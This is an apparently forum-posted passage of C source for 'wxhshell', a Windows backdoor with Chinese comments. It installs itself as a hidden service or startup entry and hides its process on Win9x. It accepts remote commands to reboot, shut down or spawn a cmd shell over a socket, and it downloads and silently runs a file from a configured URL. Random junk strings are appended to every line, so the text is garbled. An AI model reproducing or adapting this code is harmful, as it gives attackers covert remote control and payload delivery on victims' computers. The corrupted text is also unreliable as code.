VjYfnvE  
    switch(cmd[0]) { 30FYq?  
  RNoS7[&  
  // 帮助 ]S,I}NP  
  case '?': { *v:+A E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }?*:uf  
    break; L7n->8Qk  
  } &z{oVU+mA  
  // 安装 3X0^xUA6  
  case 'i': { * _C6. %{  
    if(Install()) RZ|s[b U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @z dmB~C  
    else z2!NBOv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,a$LT   
    break; 4s`*o/it  
    } XPUH\I=  
  // 卸载 #k)G1Y[c  
  case 'r': { sPkT>q  
    if(Uninstall()) ,2H5CFX/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OD>-^W t;%  
    else ; {I{X}b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rVQ:7\=Z  
    break; 6JRee[  
    } `ZV;Le '  
  // 显示 wxhshell 所在路径 d^]wqnpf  
  case 'p': { Ow/ /#:  
    char svExeFile[MAX_PATH]; X@x: F|/P  
    strcpy(svExeFile,"\n\r"); plfz)x3  
      strcat(svExeFile,ExeFile); X~GZI*P  
        send(wsh,svExeFile,strlen(svExeFile),0); &xH>U*c  
    break; f=~@e#U  
    } i-sE\m  
  // 重启 xZ`t~4qR  
  case 'b': { DKIDLf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  +tfmBZl^  
    if(Boot(REBOOT)) b)@D*plS&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s.zH.q,  
    else { U@f3V8CPy  
    closesocket(wsh); .RJvu$U2j  
    ExitThread(0); z RvYN  
    } =*Wl;PI'  
    break; XZp(Po:H  
    } ( }JX ]-  
  // 关机 22tY%Y9  
  case 'd': { 6EX:qp^`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cty~dzX^  
    if(Boot(SHUTDOWN)) 9Od Kh\F (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Po\:x%o  
    else { k qwS/s  
    closesocket(wsh); T a/G  
    ExitThread(0); ?/dz!{JC  
    } ` mCcD  
    break; >Cd%tIie*  
    } q;kM eE*  
  // 获取shell u#J5M&#  
  case 's': { *WMcE$w/D  
    CmdShell(wsh); ?0'bf y]  
    closesocket(wsh); |C>Yd*E,C  
    ExitThread(0); H7qda' %>  
    break; VJ_E]}H  
  } 9Eg'=YJ  
  // 退出 Wt8;S$!=R  
  case 'x': { LfgR[!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dhm ;  
    CloseIt(wsh); A FfgGO  
    break; ?1PY]KNaK  
    } NTAPx=!1*  
  // 离开 _Seiwk &  
  case 'q': { P7u5Ykc*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <PV @JJ"  
    closesocket(wsh); 3%<ia$  
    WSACleanup(); lZn <v'y  
    exit(1); qY14LdC}~  
    break; {R1jysG tD  
        } Z8'uZ#=Yw  
  } m"U\;Mw?  
  } S'3l<sY  
;Kkn7&'F  
  // 提示信息 :4Q_\'P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BIcE3}dS8  
} b GwLfU  
  } /tt  
aK1|b=gVj  
  return; p(0!TCBs  
} /}M@ @W  
f0wQn09  
// shell模块句柄 v`Sllv5bV  
int CmdShell(SOCKET sock) ?]3`WJOj  
{ ,qvz:a  
STARTUPINFO si; IK %j+UB  
ZeroMemory(&si,sizeof(si)); H%faRUonz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uv_*E`pN~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~f%gW  
PROCESS_INFORMATION ProcessInfo; ^lf;Lc  
char cmdline[]="cmd"; $fn Fi|-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R )?8A\<E  
  return 0; BT#'<!7!  
} xTAC&OCk^[  
y'4=  
// 自身启动模式 JN3Oe5yB2@  
int StartFromService(void) j/^0q90QO  
{ p( Qm\g<  
typedef struct )}u.b-Nt.  
{ +(|T\%$DT  
  DWORD ExitStatus; nH T2M{R  
  DWORD PebBaseAddress; vkBngsS  
  DWORD AffinityMask; bcj7.rh]'h  
  DWORD BasePriority; 9.%{M#j  
  ULONG UniqueProcessId; oz[E>%  
  ULONG InheritedFromUniqueProcessId; \W1?Qc1]  
}   PROCESS_BASIC_INFORMATION; $,h*xb.  
VnIJ$5Y  
PROCNTQSIP NtQueryInformationProcess; q~l&EH0  
.}CP Z3y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IS'=%qhC`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @ @# G.  
8Cm^#S,+  
  HANDLE             hProcess; {W0]0_mI(  
  PROCESS_BASIC_INFORMATION pbi; % ;6e@U}  
urog.Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }"xC1<]  
  if(NULL == hInst ) return 0; *;o=hM)Tp  
p=7kFv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >#0yd7BST  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &1B)mj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .6.oqb  
DUW;G9LP$-  
  if (!NtQueryInformationProcess) return 0; u4.-AY {  
%C)U F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bLNQ%=FjO  
  if(!hProcess) return 0; ]qv/+~Qs>  
AK [9fxrE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ADHe! [6q  
{}lw%d?A  
  CloseHandle(hProcess); YTYYb#"Q  
2@^8{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "$Rl9(}  
if(hProcess==NULL) return 0; lWOB!l  
M}@^8  
HMODULE hMod; RHB>svT^K>  
char procName[255]; cQ+V 4cW Z  
unsigned long cbNeeded; WJJ!No P  
!_V*VD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +o_`k!  
!-\*rdE {9  
  CloseHandle(hProcess); Re.fS6y$>  
ulVHsWg  
if(strstr(procName,"services")) return 1; // 以服务启动 n}?kQOg0/  
Ui1K66{  
  return 0; // 注册表启动 Lw!@[;2  
} 1>|p1YZ"  
8vaqj/  
// 主模块 MK=:L   
int StartWxhshell(LPSTR lpCmdLine) v3@)q0@  
{ 1 k H  
  SOCKET wsl; zHu:Ec7  
BOOL val=TRUE; WddU|-W  
  int port=0;  NU_VUd2  
  struct sockaddr_in door; Q$RP2&  
h!)(R<  
  if(wscfg.ws_autoins) Install(); %7V?7BE  
jP}N^  
port=atoi(lpCmdLine); R\X=Vg  
Dy8Go4  
if(port<=0) port=wscfg.ws_port; Z"E+ TX  
2Jj`7VH>  
  WSADATA data; N*o+m~:y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `D GO~RMp9  
%*r P d>*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Vuz!~kLYIn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8K1+ttjm  
  door.sin_family = AF_INET; ZY][LU~l8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vxk0oI k`  
  door.sin_port = htons(port); Mb/R+:C`  
(D~mmffY1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rfCoi>{<  
closesocket(wsl); *!nS4 [d  
return 1; [vIO  
} 4NbC V)Dm  
oXz:zoNQ  
  if(listen(wsl,2) == INVALID_SOCKET) { s!UC{)g,  
closesocket(wsl); dn5T7a~   
return 1; 9Uk9TG5  
} V#sANi?mpo  
  Wxhshell(wsl); +/UInAM  
  WSACleanup(); Ya,>E@oc  
\W$>EH  
return 0; qP]Gl--q{  
ozGK -$  
} VT0I1KQx.  
tM !1oWH  
// 以NT服务方式启动 I *}:C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w#"c5w~  
{ [% 3{mAd  
DWORD   status = 0; _s=[z$EN&  
  DWORD   specificError = 0xfffffff; iF`E> %#  
'RG`DzuF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3 #jPQ[+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "h)+fAT|,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JbG+ysn  
  serviceStatus.dwWin32ExitCode     = 0; [%bshaY:  
  serviceStatus.dwServiceSpecificExitCode = 0; gE8>5_R|  
  serviceStatus.dwCheckPoint       = 0; vO"AJ`_  
  serviceStatus.dwWaitHint       = 0; 7Qq>?H -  
^ *m;![$[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8 A2k-X,  
  if (hServiceStatusHandle==0) return; 6i&WF<%D  
w+ _'BU1#  
status = GetLastError(); rKR<R(=!=  
  if (status!=NO_ERROR) 7$b78wax  
{ $r_z""eOc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `cVG_= 2  
    serviceStatus.dwCheckPoint       = 0; |@Z QoH  
    serviceStatus.dwWaitHint       = 0; H,zRmK6A%  
    serviceStatus.dwWin32ExitCode     = status; Bv/v4(G5g  
    serviceStatus.dwServiceSpecificExitCode = specificError; znu?x|mV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R=PjLH&)  
    return; i%-c/ lop  
  } Q@l3XNH|c  
^>]p4Q3 6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3pl.<;9r  
  serviceStatus.dwCheckPoint       = 0; ^8We}bs-c  
  serviceStatus.dwWaitHint       = 0; Z;Tjjws  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JqFFI:Q5a  
} Z/a]oR@  
*jDzh;H!w  
// 处理NT服务事件,比如:启动、停止 >5XE*9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xf$,ra"  
{ kbOo;<X9A  
switch(fdwControl) VE{t]>*-u  
{ \t )Zk2  
case SERVICE_CONTROL_STOP: c)lMi}/  
  serviceStatus.dwWin32ExitCode = 0; CJ%7M`zy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tw|=;m  
  serviceStatus.dwCheckPoint   = 0; KS%xo6k.  
  serviceStatus.dwWaitHint     = 0; CQ13fu +|6  
  { ucB<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]k>S0  
  } [?]s((A~B  
  return; wn|Sdp  
case SERVICE_CONTROL_PAUSE: "y5c)l(Rg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MbjH\XRB  
  break; j >P>MdZtk  
case SERVICE_CONTROL_CONTINUE: BcA:M\dK%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "z7.i{  
  break; <!4'?K-N  
case SERVICE_CONTROL_INTERROGATE: T;.#=h  
  break; +vZ-o{}.jO  
}; T4w`I;&v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? NVN&zD]  
} pGUrYik4  
C2bN<K  
// 标准应用程序主函数 W!+5}\?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z) Bc91A  
{ OSsdB%bIu`  
~F DJKGK  
// 获取操作系统版本 Z wIsEJz  
OsIsNt=GetOsVer(); 'rU 5VrK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h.G/HHz  
DTgF,c  
  // 从命令行安装 z q(AN<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'KM@$2tK^q  
QBDi;Xzb+  
  // 下载执行文件 Q<Utwk?nL  
if(wscfg.ws_downexe) { 5f}wQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !=eui$]  
  WinExec(wscfg.ws_filenam,SW_HIDE); I?5#Q0,b  
} F8/4PB8-  
Q>= :$I  
if(!OsIsNt) { 8"RX~Igf  
// 如果时win9x,隐藏进程并且设置为注册表启动 APy&~`  
HideProc(); h<.&,6R  
StartWxhshell(lpCmdLine); r!j_KiUy  
} ~eE2!/%9  
else z l@ <X0q  
  if(StartFromService()) {n2jAR9nq  
  // 以服务方式启动 |)yO] pB:  
  StartServiceCtrlDispatcher(DispatchTable); ;/ WtO2  
else o{nBtxZ"  
  // 普通方式启动 :\gdQG  
  StartWxhshell(lpCmdLine); ;h3c+7u1  
& P,8 )YA  
return 0; wVV'9pw}  
}
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只看该作者 1 发表于: 2006-10-10
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